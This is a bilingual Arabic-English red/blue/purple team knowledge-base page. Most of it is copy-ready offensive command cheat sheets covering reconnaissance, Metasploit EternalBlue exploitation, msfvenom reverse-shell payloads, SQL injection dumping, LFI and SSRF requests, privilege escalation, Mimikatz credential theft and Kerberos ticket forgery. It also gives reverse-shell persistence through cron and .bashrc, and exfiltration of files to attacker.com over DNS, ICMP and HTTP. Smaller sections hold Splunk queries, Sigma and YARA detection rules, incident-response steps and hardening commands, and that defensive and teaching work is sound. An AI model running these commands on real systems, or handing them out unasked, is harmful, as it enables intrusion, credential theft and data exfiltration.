RED BLUE PURPLE TEAM

KNOWLEDGE BASE

مرجع شامل لتقنيات وأدوات الـ Red Team وأساليب الاختراق، الدفاع، والاستجابة للحوادث. جميع المعلومات للأغراض التعليمية والأمن الأخلاقي فقط.

24

ATTACK TECHNIQUES

38

TOOLS DOCUMENTED

7

ATTACK PHASES

MITRE

ATT&CK FRAMEWORK

RED TEAM TOPICS

🎯

Reconnaissance

جمع المعلومات السلبي والنشط، OSINT، DNS enumeration، network discovery

PASSIVE / ACTIVE

📡

Scanning & Enumeration

فحص المنافذ، اكتشاف الخدمات، تعداد SMB/LDAP/HTTP

NMAP / NESSUS

⚡

Exploitation

استغلال الثغرات، Buffer Overflow، SQL Injection، XSS، RCE

METASPLOIT

🔺

Privilege Escalation

رفع الصلاحيات على Windows/Linux، SUID، Sudo misconfig، Token Impersonation

WINPEAS / LINPEAS

🔗

Lateral Movement

Pass the Hash، Pass the Ticket، RDP، WMI، PSExec، Kerberoasting

ACTIVE DIRECTORY

🔒

Persistence

Scheduled Tasks، Registry، Cron jobs، Web Shells، Backdoors

C2 FRAMEWORK

BLUE & PURPLE TEAM TOPICS

👁️

Monitoring & Detection

SIEM، Splunk، ELK Stack، Sigma rules، تحليل الـ logs

SIEM / SOAR

🚨

Incident Response

خطوات الاستجابة للحوادث، forensics، memory analysis، containment

IR PLAYBOOK

🧪

Threat Hunting

البحث عن التهديدات المخفية، IOCs، behavioral analysis، MITRE ATT&CK

PROACTIVE

01 Reconnaissance — جمع المعلومات

⚠️ جميع هذه التقنيات للاختبار الأخلاقي فقط على أنظمة مرخصة لك

Passive Reconnaissance — الاستطلاع السلبي

جمع المعلومات دون أي تواصل مباشر مع الهدف:

# WHOIS Lookup whois target.com # DNS Records nslookup -type=any target.com dig target.com ANY +noall +answer dig axfr target.com @ns1.target.com # Subdomains via Certificate Transparency curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u # Google Dorking site:target.com filetype:pdf site:target.com inurl:admin site:target.com ext:sql OR ext:dbf OR ext:env # Shodan CLI shodan search "hostname:target.com" shodan host <IP> # theHarvester theHarvester -d target.com -b all -l 500

Active Reconnaissance — الاستطلاع النشط

# Subdomain Brute Force subfinder -d target.com -o subdomains.txt amass enum -d target.com -o amass_results.txt gobuster dns -d target.com -w /usr/share/wordlists/dns.txt # Web Directory Discovery gobuster dir -u https://target.com -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302,403 # Email Harvesting (OSINT) holehe email@target.com hunter.io API query # Wayback Machine waybackurls target.com | grep "=\|\.php\|\.asp"

OSINT Tools

# Maltego — رسم العلاقات بين الكيانات # Recon-ng recon-ng marketplace install all modules load recon/domains-hosts/google_site_web options set SOURCE target.com run # Spiderfoot spiderfoot -s target.com -t all # LinkedIn OSINT linkedin2username -c company_name

MITRE ATT&CK Mapping

المراحل تتوافق مع TA0043 - Reconnaissance في إطار MITRE ATT&CK

T1595 - Active Scanning
T1592 - Gather Victim Host Information
T1591 - Gather Victim Org Information
T1589 - Gather Victim Identity Information
T1596 - Search Open Technical Databases

02 Scanning & Enumeration

⚠️ للاستخدام على شبكات وأنظمة مرخصة فقط

Network Scanning — Nmap

# Full TCP Scan + Service Detection nmap -sV -sC -p- -T4 -oA full_scan target.com # UDP Scan nmap -sU --top-ports 200 target.com # OS Detection nmap -O target.com # Stealth Scan (SYN) nmap -sS -p 1-65535 --min-rate 5000 target.com # Script Scan nmap --script=vuln target.com nmap --script=smb-enum-shares,smb-enum-users target.com # Aggressive Scan nmap -A -T4 target.com # Ping Sweep (Network Discovery) nmap -sn 192.168.1.0/24

SMB Enumeration

# SMB Shares smbclient -L \\\\target.com -N smbmap -H target.com -u "" -p "" # Enum4linux enum4linux -a target.com # CrackMapExec crackmapexec smb target.com crackmapexec smb 192.168.1.0/24 --shares crackmapexec smb target.com -u '' -p '' --shares crackmapexec smb target.com -u user -p pass --sam

Web Enumeration

# Nikto Web Scanner nikto -h https://target.com -C all # WhatWeb Fingerprinting whatweb https://target.com # WordPress Scan wpscan --url https://target.com --enumerate u,p,t --api-token TOKEN # Parameter Discovery arjun -u https://target.com/api/endpoint -m GET # Virtual Host Discovery gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

LDAP Enumeration (Active Directory)

# LDAP Query ldapsearch -x -H ldap://target.com -b "DC=target,DC=com" "(objectClass=*)" # BloodHound Collection bloodhound-python -u user -p pass -d target.com -c all --zip # Kerbrute — User Enumeration kerbrute userenum --dc 192.168.1.1 -d target.com userlist.txt # GetNPUsers — ASREPRoasting impacket-GetNPUsers target.com/ -no-pass -usersfile users.txt -dc-ip 192.168.1.1

03 Exploitation — الاستغلال

⚠️ استخدام هذه التقنيات على أنظمة بدون إذن يعد جريمة جنائية

Metasploit Framework

# Start Metasploit msfconsole # Search for exploits search type:exploit platform:windows eternalblue search cve:2021-44228 # Use exploit use exploit/windows/smb/ms17_010_eternalblue show options set RHOSTS 192.168.1.100 set LHOST 192.168.1.50 set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit # Meterpreter commands sysinfo getuid getsystem hashdump shell upload /path/file C:\\Users\\Public\\ download C:\\secret.txt /tmp/ run post/multi/recon/local_exploit_suggester

Web Application Exploits

# SQL Injection — SQLMap sqlmap -u "https://target.com/page?id=1" --dbs sqlmap -u "https://target.com/page?id=1" -D db_name --tables sqlmap -u "https://target.com/page?id=1" -D db_name -T users --dump sqlmap -u "https://target.com/login" --data="user=test&pass=test" --forms --dump-all # XSS Testing dalfox url "https://target.com/search?q=test" dalfox file urls.txt --skip-bav # LFI/RFI curl "https://target.com/page?file=../../../../etc/passwd" curl "https://target.com/page?file=php://filter/convert.base64-encode/resource=index.php" # Command Injection curl "https://target.com/ping?ip=127.0.0.1;id" # SSRF curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"

Buffer Overflow (x86)

# Pattern Generation msf-pattern_create -l 2000 msf-pattern_offset -l 2000 -q XXXXXXXX # Bad Characters Test msfvenom -p windows/exec CMD=calc.exe -f python -b "\x00" # Generate Shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

Password Attacks

# Hydra Brute Force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com hydra -L users.txt -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # Hashcat hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM hashcat -m 0 hashes.txt wordlist.txt # MD5 hashcat -m 1800 hashes.txt wordlist.txt # SHA-512 # John The Ripper john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt john --format=NT hashes.txt

04 Privilege Escalation — رفع الصلاحيات

Linux Privilege Escalation

# Automated Scripts ./linpeas.sh | tee linpeas_output.txt ./lse.sh -l 2 # SUDO Misconfigurations sudo -l sudo /bin/bash sudo awk 'BEGIN {system("/bin/bash")}' # SUID Binaries find / -perm -u=s -type f 2>/dev/null find / -perm -4000 2>/dev/null # Cron Jobs cat /etc/crontab ls -la /etc/cron* crontab -l # Writable /etc/passwd openssl passwd -1 -salt hacker password123 echo 'hacker:$1$hacker$...:0:0:hacker:/root:/bin/bash' >> /etc/passwd # Kernel Exploits uname -a searchsploit linux kernel 4.15 gcc exploit.c -o exploit && ./exploit # PATH Hijacking echo $PATH ls -la /tmp echo '/bin/bash' > /tmp/curl; chmod +x /tmp/curl; export PATH=/tmp:$PATH

Windows Privilege Escalation

# WinPEAS .\winPEAS.exe # Token Impersonation (Potato Attacks) .\PrintSpoofer.exe -i -c cmd .\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * # Service Misconfiguration sc qc VulnService icacls "C:\Program Files\VulnService\service.exe" msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o service.exe # Unquoted Service Path wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" # DLL Hijacking procmon.exe (Sysinternals) msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o hijack.dll # AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f msi -o shell.msi msiexec /quiet /qn /i shell.msi

Active Directory PrivEsc

# Kerberoasting impacket-GetUserSPNs target.com/user:pass -dc-ip 192.168.1.1 -request hashcat -m 13100 kerberoast_hashes.txt rockyou.txt # DCSync Attack impacket-secretsdump target.com/user:pass@192.168.1.1 -just-dc mimikatz # lsadump::dcsync /domain:target.com /user:Administrator # Pass the Hash impacket-psexec target.com/administrator@192.168.1.1 -hashes :NTLM_HASH crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH # BloodHound Attack Paths # Find shortest path to Domain Admin in BloodHound GUI

05 Lateral Movement — الحركة الأفقية

Pass the Hash / Pass the Ticket

# Pass the Hash evil-winrm -i 192.168.1.100 -u Administrator -H NTLM_HASH impacket-wmiexec target.com/administrator@192.168.1.100 -hashes :NTLM_HASH # Pass the Ticket mimikatz # kerberos::ptc ticket.kirbi impacket-psexec target.com/administrator@192.168.1.100 -k -no-pass # Overpass the Hash mimikatz # sekurlsa::pth /user:admin /domain:target.com /ntlm:HASH /run:cmd.exe

Remote Execution

# PSExec impacket-psexec target.com/admin:password@192.168.1.100 # WMI Execution impacket-wmiexec target.com/admin:password@192.168.1.100 wmic /node:192.168.1.100 /user:admin /password:pass process call create "cmd.exe /c whoami > C:\out.txt" # WinRM evil-winrm -i 192.168.1.100 -u admin -p password Enter-PSSession -ComputerName 192.168.1.100 -Credential domain\admin # RDP xfreerdp /u:admin /p:password /v:192.168.1.100 /cert-ignore rdesktop -u admin -p password 192.168.1.100

Kerberos Attacks

# Kerberoasting Invoke-Kerberoast | fl impacket-GetUserSPNs -request -dc-ip 192.168.1.1 target.com/user:pass # AS-REP Roasting impacket-GetNPUsers target.com/ -usersfile users.txt -no-pass -dc-ip 192.168.1.1 # Golden Ticket mimikatz # lsadump::lsa /patch # Get krbtgt hash mimikatz # kerberos::golden /user:fakeuser /domain:target.com /sid:S-1-5-21-... /krbtgt:HASH /ptt # Silver Ticket mimikatz # kerberos::golden /user:admin /domain:target.com /sid:S-1-5-21-... /target:server.target.com /service:cifs /rc4:SERVICE_HASH /ptt

06 Persistence — الثبات

Windows Persistence

# Registry Run Keys reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Users\Public\payload.exe" # Scheduled Task schtasks /create /sc onlogon /tn "Update" /tr "C:\payload.exe" /ru SYSTEM schtasks /create /sc minute /mo 5 /tn "Updater" /tr "C:\payload.exe" # Service Creation sc create backdoor binpath= "C:\payload.exe" start= auto net start backdoor # WMI Subscription # Permanent event subscription — persists reboots $filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter ... # Startup Folder copy payload.exe "C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\"

Linux Persistence

# Cron Job (crontab -l; echo "* * * * * /tmp/.backdoor") | crontab - echo "* * * * * bash -i >& /dev/tcp/192.168.1.50/4444 0>&1" > /etc/cron.d/update # SSH Authorized Keys mkdir -p ~/.ssh echo "ssh-rsa AAAA... attacker_key" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys # .bashrc / .profile echo "bash -i >& /dev/tcp/192.168.1.50/4444 0>&1" >> ~/.bashrc # SUID Backdoor cp /bin/bash /tmp/.hidden_bash chmod +s /tmp/.hidden_bash /tmp/.hidden_bash -p # Execute as root

C2 Frameworks

# Cobalt Strike (Team Server) ./teamserver 192.168.1.50 password # Sliver C2 sliver-server generate --mtls 192.168.1.50 --os windows --arch amd64 --save implant.exe mtls --lport 8888 # Havoc C2 ./havoc server --profile profiles/havoc.yaotl # Mythic C2 ./mythic-cli start

07 Data Exfiltration — تسريب البيانات

Data Transfer Techniques

# Base64 Encoding cat /etc/shadow | base64 echo "BASE64_DATA" | base64 -d # DNS Exfiltration # Encode data in DNS queries cat secret.txt | xxd -p | while read l; do host $l.attacker.com; done # ICMP Exfiltration ping -c 1 -p $(xxd -p secret.txt | head -c 16) attacker.com # HTTP Exfiltration curl -X POST -d @secret.txt https://attacker.com/collect # SMB / FTP Transfer impacket-smbserver share /tmp/loot net use Z: \\192.168.1.50\share /user:attacker pass copy C:\sensitive\* Z:\

Credential Dumping

# Mimikatz mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords mimikatz # lsadump::sam mimikatz # lsadump::secrets # SAM Database reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save impacket-secretsdump LOCAL -sam sam.save -system system.save # Linux /etc/shadow cat /etc/shadow unshadow /etc/passwd /etc/shadow > combined.txt john combined.txt --wordlist=rockyou.txt

BLUE Monitoring & Detection

SIEM — Splunk Queries

# Failed Logins index=windows EventCode=4625 | stats count by src_ip, user | where count > 10 # PowerShell Execution index=windows EventCode=4104 | search ScriptBlockText="*invoke-mimikatz*" OR "*base64*" # Lateral Movement Detection index=windows EventCode=4624 LogonType=3 | stats count by src_ip, dest_ip, user # Process Creation index=windows EventCode=4688 | search CommandLine="*whoami*" OR "*net user*" OR "*net localgroup*" # Network Connections index=network dest_port=4444 OR dest_port=1337 | table src_ip, dest_ip, dest_port

ELK Stack — Detection Rules

# Kibana Query — Nmap Detection event.dataset:zeek.conn AND destination.port:(21 OR 22 OR 23 OR 80 OR 443 OR 3306 OR 3389) AND source.packets:>100 # Suspicious Process process.name:("powershell.exe" OR "cmd.exe") AND process.args:("-enc" OR "-EncodedCommand" OR "bypass") # File Creation in Temp file.path:("C:\\Windows\\Temp\\*" OR "C:\\Users\\*\\AppData\\Local\\Temp\\*") AND file.extension:(exe OR dll)

Log Analysis — Windows Events

# Critical Event IDs 4624 - Successful Logon 4625 - Failed Logon 4648 - Logon using explicit credentials 4672 - Special privileges assigned 4688 - Process Creation 4697 - Service Installation 4698/4702 - Scheduled Task Created/Modified 4720 - User Account Created 4728/4732/4756 - User Added to Group 7045 - New Service Installed 4663 - File Access Audit

IR Incident Response Playbook

1. Identification

# Windows — Volatile Data Collection netstat -ano # Network connections tasklist /v # Running processes ipconfig /all # Network config arp -a # ARP table net user # Local users net session # Active sessions wmic process list brief | sort /+28 # Processes by memory # Linux ss -tunp # Network connections ps auxf # Process tree lsof -i # Open files/sockets who; w; last # Logged users cat /etc/passwd # Users

2. Memory Forensics

# Volatility 3 python vol.py -f memory.dmp windows.pslist python vol.py -f memory.dmp windows.pstree python vol.py -f memory.dmp windows.netscan python vol.py -f memory.dmp windows.cmdline python vol.py -f memory.dmp windows.malfind python vol.py -f memory.dmp windows.dumpfiles --physaddr ADDR

3. Disk Forensics

# FTK Imager / dd dd if=/dev/sda of=/mnt/evidence/disk.img bs=4096 conv=sync,noerror sha256sum disk.img > disk.img.sha256 # Autopsy / Sleuth Kit mmls disk.img # Partition table fls -r disk.img # File listing icat disk.img INODE # Extract file # Registry Analysis reglookup -H NTUSER.DAT | grep -i "run\|startup\|userinit"

4. Containment

# Isolate System (Windows) netsh advfirewall set allprofiles state on netsh advfirewall firewall add rule name="block_all" dir=out action=block # Block IP (Linux) iptables -A INPUT -s ATTACKER_IP -j DROP iptables -A OUTPUT -d ATTACKER_IP -j DROP # Kill Malicious Process taskkill /PID XXXX /F kill -9 PID

HARDEN System Hardening

Windows Hardening

# Disable SMBv1 Set-SmbServerConfiguration -EnableSMB1Protocol $false # Enable Windows Defender Set-MpPreference -DisableRealtimeMonitoring $false Set-MpPreference -MAPSReporting Advanced # Enable Audit Policies auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable auditpol /set /category:"Object Access" /success:enable /failure:enable auditpol /set /subcategory:"Process Creation" /success:enable # Disable Remote Registry Stop-Service RemoteRegistry Set-Service RemoteRegistry -StartupType Disabled # Enable Credential Guard # Via Group Policy: Computer Configuration > Administrative Templates > System > Device Guard

Linux Hardening

# SSH Hardening sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config systemctl restart sshd # Firewall (UFW) ufw default deny incoming ufw default allow outgoing ufw allow 22/tcp ufw enable # Disable Unnecessary Services systemctl disable telnet systemctl disable ftp systemctl disable rsh # File Permissions chmod 644 /etc/passwd chmod 000 /etc/shadow find / -perm -4000 2>/dev/null | xargs ls -la

PURPLE Detection Engineering

Sigma Rules

title: Mimikatz Execution status: experimental logsource: product: windows service: security detection: selection: EventID: 4688 CommandLine|contains: - 'sekurlsa' - 'lsadump' - 'privilege::debug' condition: selection level: critical tags: - attack.credential_access - attack.t1003.001

title: LOLBAS Suspicious Execution status: experimental logsource: product: windows service: security detection: selection: EventID: 4688 NewProcessName|endswith: - '\certutil.exe' - '\regsvr32.exe' - '\mshta.exe' CommandLine|contains: - 'http' - 'ftp' - 'decode' condition: selection level: high

YARA Rules

rule Detect_Mimikatz { meta: author = "RedTeam KB" description = "Detects Mimikatz" strings: $s1 = "sekurlsa::logonpasswords" nocase $s2 = "lsadump::sam" nocase $s3 = "privilege::debug" nocase $b1 = { 4D 69 6D 69 6B 61 74 7A } condition: any of them } rule Webshell_Generic { meta: description = "Generic webshell detection" strings: $p1 = "eval(base64_decode" nocase $p2 = "system($_GET" nocase $p3 = "passthru($_POST" nocase $p4 = "exec($_REQUEST" nocase condition: any of them }

HUNT Threat Hunting

Hypothesis-Based Hunting

# Hypothesis: Attacker using LOLBAS for persistence # Hunt: Find unusual certutil usage index=windows EventCode=4688 | search NewProcessName="*certutil*" | regex CommandLine="(?i)(-decode|-encode|-urlcache|-verifyctl)" | table _time, ComputerName, user, CommandLine # Hypothesis: Lateral movement via WMI index=windows EventCode=4688 | search NewProcessName="*wmiprvse.exe*" OR ParentProcessName="*wmiprvse.exe*" | table _time, ComputerName, user, CommandLine, ParentCommandLine

IOC Hunting

# Hunt by IP IOC index=network dest_ip=MALICIOUS_IP OR src_ip=MALICIOUS_IP | table _time, src_ip, dest_ip, dest_port # Hunt by Hash index=windows EventCode=4688 | search process_hash=MALICIOUS_HASH # Hunt by Domain index=dns query="*.malicious-domain.com" | stats count by src_ip # Hunt by File Path index=windows EventCode=4663 | search ObjectName="*\\AppData\\Roaming\\*.exe"

MITRE ATT&CK Hunting Matrix

# TA0001 Initial Access Hunt: Phishing emails, malicious attachments Events: 4663 (file creation), Email gateway logs # TA0002 Execution Hunt: PowerShell, WMI, Scheduled Tasks Events: 4688, 4698, PowerShell 4104 # TA0003 Persistence Hunt: Registry Run keys, Startup folder, Services Events: 4697, 4698, Registry auditing # TA0004 Privilege Escalation Hunt: Token manipulation, SUID abuse Events: 4672, 4768, 4769 # TA0005 Defense Evasion Hunt: Process injection, AMSI bypass, Log clearing Events: 1102 (log cleared), 4104 (AMSI bypass strings) # TA0006 Credential Access Hunt: LSASS dump, SAM access, Kerberoasting Events: 4656 (LSASS access), 4769 (Kerberos TGS request)

RED TEAM ARSENAL

Nmap

SCANNING

أقوى أداة فحص شبكات. تفحص المنافذ، تكتشف الخدمات والـ OS، وتدعم Scripting Engine.

nmap -sV -sC -p- -T4 -oA scan target.com nmap --script=vuln target.com nmap -sU --top-ports 100 target.com

Metasploit

EXPLOITATION

إطار الاستغلال الأشهر. يحتوي على آلاف الـ exploits والـ payloads. مكتمل بـ Meterpreter.

msfconsole search type:exploit name:eternalblue use exploit/windows/smb/ms17_010 set RHOSTS target; exploit

Burp Suite

WEB HACKING

الأداة المرجعية لاختبار تطبيقات الويب. Proxy، Scanner، Repeater، Intruder.

# Launch via terminal burpsuite # Key modules: # Proxy → Intercept HTTP # Intruder → Brute Force # Repeater → Modify/Replay # Scanner → Automated Vuln Scan

BloodHound

ACTIVE DIRECTORY

يرسم مسارات الهجوم في Active Directory. يكشف Shortest Path to Domain Admin.

bloodhound-python -u user -p pass -d domain.com -c all --zip # Then import ZIP into BloodHound GUI # Run query: "Find Shortest Paths to Domain Admins"

Mimikatz

CREDENTIALS

سرقة بيانات الاعتماد من الذاكرة، NTLM hashes، Kerberos tickets، والـ plaintext passwords.

privilege::debug sekurlsa::logonpasswords sekurlsa::tickets /export lsadump::sam lsadump::dcsync /domain:corp /user:administrator

SQLMap

WEB / DB

أتمتة كاملة لاكتشاف واستغلال SQL Injection في تطبيقات الويب.

sqlmap -u "http://target.com/id?=1" --dbs sqlmap -u "http://target.com/id?=1" -D dbname --tables --dump sqlmap -u "http://target.com/login" --forms --dump-all --batch

CrackMapExec

NETWORK

Swiss Army knife للتحقق من الاعتمادات وتنفيذ الأوامر عبر الشبكة على Windows.

crackmapexec smb 192.168.1.0/24 crackmapexec smb target -u user -p pass --sam crackmapexec winrm target -u user -p pass -x "whoami" crackmapexec ldap target -u user -p pass --bloodhound

Volatility 3

FORENSICS

تحليل الذاكرة الجنائي. يستخرج العمليات، الشبكات، Malware، والمفاتيح من memory dumps.

python vol.py -f mem.dmp windows.pslist python vol.py -f mem.dmp windows.netscan python vol.py -f mem.dmp windows.malfind python vol.py -f mem.dmp windows.cmdline

⬡ Attack Methodologies

Cyber Kill Chain (Lockheed Martin)

01

Reconnaissance

جمع المعلومات عن الهدف — OSINT، DNS، Shodan، Social Engineering

02

Weaponization

تجهيز السلاح — Payload creation، Exploit packaging، Malware development

03

Delivery

إيصال السلاح — Phishing، USB، Drive-by Download، Supply Chain

04

Exploitation

استغلال الثغرة — Code execution، vulnerability triggering

05

Installation

تثبيت الـ Backdoor — Persistence mechanisms، RATs، Web shells

06

Command & Control

التحكم عن بعد — C2 framework، encrypted channels، beaconing

07

Actions on Objectives

تحقيق الهدف — Data exfiltration، Ransomware، Sabotage، Espionage

MITRE ATT&CK Tactics (Enterprise)

TA0001 - Initial Access → Phishing, Drive-by, Supply Chain TA0002 - Execution → PowerShell, WMI, Scheduled Tasks TA0003 - Persistence → Registry, Services, Cron, Web Shell TA0004 - Privilege Escalation → SUID, Token, Bypass UAC TA0005 - Defense Evasion → Obfuscation, AMSI Bypass, Timestomp TA0006 - Credential Access → LSASS Dump, Kerberoasting, Brute Force TA0007 - Discovery → Net commands, BloodHound, Port Scan TA0008 - Lateral Movement → PtH, PtT, RDP, PSExec, WMI TA0009 - Collection → Keylogging, Screenshot, Browser Data TA0011 - Command & Control → C2 Frameworks, DNS, HTTPS Beacons TA0010 - Exfiltration → DNS, HTTP, Physical Media, Cloud TA0040 - Impact → Ransomware, Wipe, DoS, Defacement